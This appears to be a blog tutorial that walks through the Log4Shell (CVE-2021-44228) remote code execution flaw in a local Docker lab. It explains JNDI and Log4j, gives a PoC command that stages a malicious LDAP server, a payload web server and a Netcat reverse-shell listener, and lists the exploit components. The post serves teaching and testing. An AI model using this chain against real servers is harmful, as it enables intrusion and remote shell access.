[CVE-2021-44228] Apache Log4j Remote Code Execution (RCE) POC

5 min readJun 14, 2022

CVE-2021-44228 is a remote code execution (RCE) vulnerability in Apache Log4j 2. An unauthenticated, remote attacker could exploit this flaw by sending a specially crafted request to a server running a vulnerable version of log4j. The crafted request uses a Java Naming and Directory Interface (JNDI) injection via a variety of services including:

Lightweight Directory Access Protocol (LDAP)
Secure LDAP (LDAPS)
Remote Method Invocation (RMI)
Domain Name Service (DNS)

If the vulnerable server uses log4j to log requests, the exploit will then request a malicious payload over JNDI through one of the services above from an attacker-controlled server. Successful exploitation could lead to RCE.

What is JNDI?

Java Naming and Directory interface {JNDI} provides an API for application to interact with LDAP. In simple words Java application can’t directly request to LADP and because of this we need JNDI which give us a way to interact with LADP .

What does Log4j do?

Log4j records events – errors and routine system operations – and communicates diagnostic messages about them to system administrators and users. It’s open-source software provided by the Apache Software Foundation.

A common example of Log4j at work is when you type in or click on a bad web link and get a 404 error message. The web server running the domain of the web link you tried to get to tells you that there’s no such webpage. It also records that event in a log for the server’s system administrators using Log4j.

Similar diagnostic messages are used throughout software applications. For example, in the online game Minecraft, Log4j is used by the server to log activity like total memory used and user commands typed into the console.

Victim Server

First, our victim server is a Tomcat 8 web server that uses a vulnerable version of Apache Log4j and is configured and installed within a docker container. Tomcat server is hosting a sample website obtainable from https://github.com/kozmer/log4j-shell-poc and is configured to expose port 8080 for the vulnerable web server.

http://localhost:8080

Exploit Code, Port 1389

The exploit code operating on port 1389, creating a weaponized LDAP server. This code will redirect the victim server to download and execute a Java class that is obtained from our Python Web Server running on port 8000 above. The Java class is configured to spawn a shell to port 9001, which is our Netcat listener.

Command:

python3 poc.py --userip localhost --webport 8000 --lport 9001

Execute the Attack

Now that the code is staged, it’s time to execute our attack. We’ll connect to the victim webserver using a Chrome web browser. Our attack string, exploits JNDI to make an LDAP query to the Attacker’s Exploit session running on port 1389.

The attack string exploits a vulnerability in Log4j and requests that a lookup be performed against the attacker’s weaponized LDAP server. To do this, an outbound request is made from the victim server to the attacker’s system on port 1389. The Exploit session indicates the receipt of the inbound LDAP connection and redirection made to our Attacker’s Python Web Server.

The Exploit session has sent a redirect to our Python Web Server, which is serving up a weaponized Java class that contains code to open up a shell. This Java class was actually configured from our Exploit session and is only being served on port 8000 by the Python Web Server.

Exploit Steps

An LDAP Server that will redirect the vulnerable application to the exploit.
A Vulnerable application (Spring Boot web application vulnerable to CVE-2021–44228) using a vulnerable version of Log4J.
The Java Exploit.class (and the corresponding Exploit.java file) that will be loaded by the Vulnerable application.
An http server from which the Vulnerable application will download the malicious Exploit.class